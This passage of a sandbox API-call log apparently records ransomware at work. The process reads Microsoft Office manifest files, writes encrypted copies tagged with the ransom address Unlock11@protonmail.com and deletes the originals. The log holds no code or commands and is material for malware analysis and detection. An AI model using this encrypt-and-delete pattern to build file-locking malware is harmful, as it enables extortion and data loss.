ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.334] GetCurrentThreadId () returned 0x9b0 [0134.334] GetCurrentThreadId () returned 0x9b0 [0134.334] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4e4 | out: pbBuffer=0x366b4e4) returned 1 [0134.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0134.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.334] GetCurrentThreadId () returned 0x9b0 [0134.335] GetCurrentThreadId () returned 0x9b0 [0134.335] GetCurrentThreadId () returned 0x9b0 [0134.335] GetCurrentThreadId () returned 0x9b0 [0134.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.335] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6688 [0134.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0134.335] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.335] GetFileType (hFile=0x39c) returned 0x1 [0134.335] GetCurrentThreadId () returned 0x9b0 [0134.336] GetFileType (hFile=0x39c) returned 0x1 [0134.336] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.336] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.336] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.336] GetLastError () returned 0x0 [0134.336] GetCurrentThreadId () returned 0x9b0 [0134.336] GetLastError () returned 0x0 [0134.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66e8 | out: hHeap=0x2ad0000) returned 1 [0134.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0134.337] GetLastError () returned 0x0 [0134.337] GetLastError () returned 0x0 [0134.337] GetLastError () returned 0x0 [0134.337] GetLastError () returned 0x0 [0134.337] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0134.337] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6608 [0134.337] GetLastError () returned 0x0 [0134.337] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.338] GetFileType (hFile=0x3ac) returned 0x1 [0134.338] GetLastError () returned 0x0 [0134.338] GetCurrentThreadId () returned 0x9b0 [0134.338] GetLastError () returned 0x0 [0134.338] GetFileType (hFile=0x3ac) returned 0x1 [0134.338] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.338] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.338] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.338] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.339] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.339] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.339] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.339] GetLastError () returned 0x0 [0134.339] GetCurrentThreadId () returned 0x9b0 [0134.339] GetLastError () returned 0x0 [0134.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6608 | out: hHeap=0x2ad0000) returned 1 [0134.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0134.339] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.339] GetLastError () returned 0x0 [0134.339] GetLastError () returned 0x0 [0134.340] GetCurrentThreadId () returned 0x9b0 [0134.340] GetLastError () returned 0x0 [0134.340] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.340] GetLastError () returned 0x0 [0134.340] GetLastError () returned 0x0 [0134.340] GetCurrentThreadId () returned 0x9b0 [0134.340] GetLastError () returned 0x0 [0134.340] GetLastError () returned 0x0 [0134.342] GetLastError () returned 0x0 [0134.342] GetCurrentThreadId () returned 0x9b0 [0134.342] GetLastError () returned 0x0 [0134.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6688 | out: hHeap=0x2ad0000) returned 1 [0134.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3828e70 [0134.342] GetCurrentThreadId () returned 0x9b0 [0134.342] GetLastError () returned 0x0 [0134.342] GetLastError () returned 0x0 [0134.342] GetLastError () returned 0x0 [0134.343] GetLastError () returned 0x0 [0134.343] GetCurrentThreadId () returned 0x9b0 [0134.343] GetLastError () returned 0x0 [0134.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828e70 | out: hHeap=0x2ad0000) returned 1 [0134.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0134.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0134.343] GetLastError () returned 0x0 [0134.343] GetLastError () returned 0x0 [0134.343] GetCurrentThreadId () returned 0x9b0 [0134.343] GetLastError () returned 0x0 [0134.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3829900 | out: hHeap=0x2ad0000) returned 1 [0134.343] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.344] GetLastError () returned 0x0 [0134.344] GetLastError () returned 0x0 [0134.344] GetCurrentThreadId () returned 0x9b0 [0134.344] GetLastError () returned 0x0 [0134.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.344] GetLastError () returned 0x0 [0134.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.345] CloseHandle (hObject=0x3ac) returned 1 [0134.345] GetLastError () returned 0x0 [0134.345] GetCurrentThreadId () returned 0x9b0 [0134.346] GetLastError () returned 0x0 [0134.346] GetLastError () returned 0x0 [0134.346] CloseHandle (hObject=0x39c) returned 1 [0134.346] GetLastError () returned 0x0 [0134.346] GetCurrentThreadId () returned 0x9b0 [0134.346] GetLastError () returned 0x0 [0134.346] GetLastError () returned 0x0 [0134.346] GetLastError () returned 0x0 [0134.346] GetLastError () returned 0x0 [0134.346] GetLastError () returned 0x0 [0134.346] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0409-1000-0000000ff1ce.xml")) returned 1 [0134.347] GetLastError () returned 0x0 [0134.348] GetCurrentThreadId () returned 0x9b0 [0134.348] GetLastError () returned 0x0 [0134.348] GetCurrentThreadId () returned 0x9b0 [0134.348] GetLastError () returned 0x0 [0134.348] GetLastError () returned 0x0 [0134.348] GetLastError () returned 0x0 [0134.348] GetLastError () returned 0x0 [0134.348] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.348] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0134.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0134.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0134.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0134.349] GetCurrentThreadId () returned 0x9b0 [0134.349] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.349] GetLastError () returned 0x0 [0134.349] GetLastError () returned 0x0 [0134.349] GetLastError () returned 0x0 [0134.349] GetLastError () returned 0x0 [0134.349] GetCurrentThreadId () returned 0x9b0 [0134.349] GetLastError () returned 0x0 [0134.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.350] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.350] GetLastError () returned 0x0 [0134.350] GetLastError () returned 0x0 [0134.350] GetLastError () returned 0x0 [0134.350] GetLastError () returned 0x0 [0134.350] GetCurrentThreadId () returned 0x9b0 [0134.350] GetLastError () returned 0x0 [0134.350] GetCurrentThreadId () returned 0x9b0 [0134.350] GetLastError () returned 0x0 [0134.351] GetLastError () returned 0x0 [0134.351] GetLastError () returned 0x0 [0134.351] GetLastError () returned 0x0 [0134.351] GetCurrentThreadId () returned 0x9b0 [0134.351] GetLastError () returned 0x0 [0134.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.351] GetLastError () returned 0x0 [0134.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.351] GetLastError () returned 0x0 [0134.351] GetLastError () returned 0x0 [0134.352] GetLastError () returned 0x0 [0134.352] GetCurrentThreadId () returned 0x9b0 [0134.352] GetLastError () returned 0x0 [0134.352] GetLastError () returned 0x0 [0134.352] GetLastError () returned 0x0 [0134.352] GetLastError () returned 0x0 [0134.352] GetLastError () returned 0x0 [0134.352] GetCurrentThreadId () returned 0x9b0 [0134.352] GetLastError () returned 0x0 [0134.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0134.352] GetCurrentThreadId () returned 0x9b0 [0134.353] GetLastError () returned 0x0 [0134.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.353] GetCurrentThreadId () returned 0x9b0 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.353] GetLastError () returned 0x0 [0134.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.354] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea)) returned 1 [0134.354] GetLastError () returned 0x0 [0134.354] GetCurrentThreadId () returned 0x9b0 [0134.354] GetLastError () returned 0x0 [0134.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.354] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b354 | out: pbBuffer=0x366b354) returned 1 [0134.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0134.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0134.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0134.355] GetCurrentThreadId () returned 0x9b0 [0134.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.355] GetLastError () returned 0x0 [0134.355] GetLastError () returned 0x0 [0134.355] GetLastError () returned 0x0 [0134.355] GetLastError () returned 0x0 [0134.355] GetCurrentThreadId () returned 0x9b0 [0134.355] GetLastError () returned 0x0 [0134.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.356] GetCurrentThreadId () returned 0x9b0 [0134.356] GetLastError () returned 0x0 [0134.356] GetLastError () returned 0x0 [0134.356] GetLastError () returned 0x0 [0134.356] GetLastError () returned 0x0 [0134.356] GetCurrentThreadId () returned 0x9b0 [0134.356] GetLastError () returned 0x0 [0134.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6688 [0134.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a37d0 | out: hHeap=0x2ad0000) returned 1 [0134.356] GetLastError () returned 0x0 [0134.357] GetLastError () returned 0x0 [0134.357] GetLastError () returned 0x0 [0134.357] GetLastError () returned 0x0 [0134.357] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.357] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6648 [0134.357] GetLastError () returned 0x0 [0134.357] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.357] GetFileType (hFile=0x39c) returned 0x1 [0134.357] GetLastError () returned 0x0 [0134.358] GetCurrentThreadId () returned 0x9b0 [0134.358] GetLastError () returned 0x0 [0134.358] GetFileType (hFile=0x39c) returned 0x1 [0134.358] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.358] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.358] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.358] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.358] GetLastError () returned 0x0 [0134.358] GetCurrentThreadId () returned 0x9b0 [0134.359] GetLastError () returned 0x0 [0134.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6648 | out: hHeap=0x2ad0000) returned 1 [0134.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.359] GetLastError () returned 0x0 [0134.359] GetLastError () returned 0x0 [0134.359] GetLastError () returned 0x0 [0134.359] GetLastError () returned 0x0 [0134.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.359] GetLastError () returned 0x0 [0134.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.360] GetFileType (hFile=0x3ac) returned 0x1 [0134.360] GetLastError () returned 0x0 [0134.360] GetCurrentThreadId () returned 0x9b0 [0134.360] GetLastError () returned 0x0 [0134.360] GetFileType (hFile=0x3ac) returned 0x1 [0134.360] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.360] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.360] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.361] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.361] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.361] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.361] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.361] GetLastError () returned 0x0 [0134.361] GetCurrentThreadId () returned 0x9b0 [0134.361] GetLastError () returned 0x0 [0134.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0134.361] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0134.361] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.361] GetLastError () returned 0x0 [0134.362] GetLastError () returned 0x0 [0134.362] GetCurrentThreadId () returned 0x9b0 [0134.362] GetLastError () returned 0x0 [0134.362] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.362] GetLastError () returned 0x0 [0134.362] GetLastError () returned 0x0 [0134.362] GetCurrentThreadId () returned 0x9b0 [0134.362] GetLastError () returned 0x0 [0134.362] GetLastError () returned 0x0 [0134.364] GetLastError () returned 0x0 [0134.364] GetCurrentThreadId () returned 0x9b0 [0134.364] GetLastError () returned 0x0 [0134.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6688 | out: hHeap=0x2ad0000) returned 1 [0134.365] GetCurrentThreadId () returned 0x9b0 [0134.365] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xfe08) returned 0x37940d0 [0134.365] GetLastError () returned 0x0 [0134.365] GetLastError () returned 0x0 [0134.365] GetLastError () returned 0x0 [0134.365] GetLastError () returned 0x0 [0134.365] GetCurrentThreadId () returned 0x9b0 [0134.365] GetLastError () returned 0x0 [0134.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0134.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.366] GetLastError () returned 0x0 [0134.367] GetLastError () returned 0x0 [0134.367] GetCurrentThreadId () returned 0x9b0 [0134.368] GetLastError () returned 0x0 [0134.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a3ee0 | out: hHeap=0x2ad0000) returned 1 [0134.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.368] GetLastError () returned 0x0 [0134.368] GetLastError () returned 0x0 [0134.368] GetCurrentThreadId () returned 0x9b0 [0134.368] GetLastError () returned 0x0 [0134.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.368] GetLastError () returned 0x0 [0134.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.369] CloseHandle (hObject=0x3ac) returned 1 [0134.369] GetLastError () returned 0x0 [0134.369] GetCurrentThreadId () returned 0x9b0 [0134.369] GetLastError () returned 0x0 [0134.369] GetLastError () returned 0x0 [0134.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc04b8 | out: hHeap=0x2ad0000) returned 1 [0134.369] CloseHandle (hObject=0x39c) returned 1 [0134.370] GetLastError () returned 0x0 [0134.370] GetCurrentThreadId () returned 0x9b0 [0134.370] GetLastError () returned 0x0 [0134.370] GetLastError () returned 0x0 [0134.370] GetLastError () returned 0x0 [0134.370] GetLastError () returned 0x0 [0134.370] GetLastError () returned 0x0 [0134.370] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0134.371] GetLastError () returned 0x0 [0134.372] GetCurrentThreadId () returned 0x9b0 [0134.372] GetLastError () returned 0x0 [0134.372] GetCurrentThreadId () returned 0x9b0 [0134.372] GetLastError () returned 0x0 [0134.372] GetLastError () returned 0x0 [0134.372] GetLastError () returned 0x0 [0134.372] GetLastError () returned 0x0 [0134.372] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.372] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.372] GetCurrentThreadId () returned 0x9b0 [0134.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.373] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.373] GetLastError () returned 0x0 [0134.373] GetLastError () returned 0x0 [0134.373] GetLastError () returned 0x0 [0134.373] GetLastError () returned 0x0 [0134.373] GetCurrentThreadId () returned 0x9b0 [0134.373] GetLastError () returned 0x0 [0134.373] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.374] GetCurrentThreadId () returned 0x9b0 [0134.374] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.374] GetCurrentThreadId () returned 0x9b0 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.374] GetLastError () returned 0x0 [0134.375] GetLastError () returned 0x0 [0134.375] GetCurrentThreadId () returned 0x9b0 [0134.375] GetLastError () returned 0x0 [0134.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.375] GetLastError () returned 0x0 [0134.375] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0134.375] GetLastError () returned 0x0 [0134.375] GetLastError () returned 0x0 [0134.375] GetLastError () returned 0x0 [0134.375] GetCurrentThreadId () returned 0x9b0 [0134.375] GetLastError () returned 0x0 [0134.376] GetCurrentThreadId () returned 0x9b0 [0134.376] GetLastError () returned 0x0 [0134.376] GetLastError () returned 0x0 [0134.376] GetLastError () returned 0x0 [0134.376] GetLastError () returned 0x0 [0134.376] GetCurrentThreadId () returned 0x9b0 [0134.376] GetLastError () returned 0x0 [0134.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: 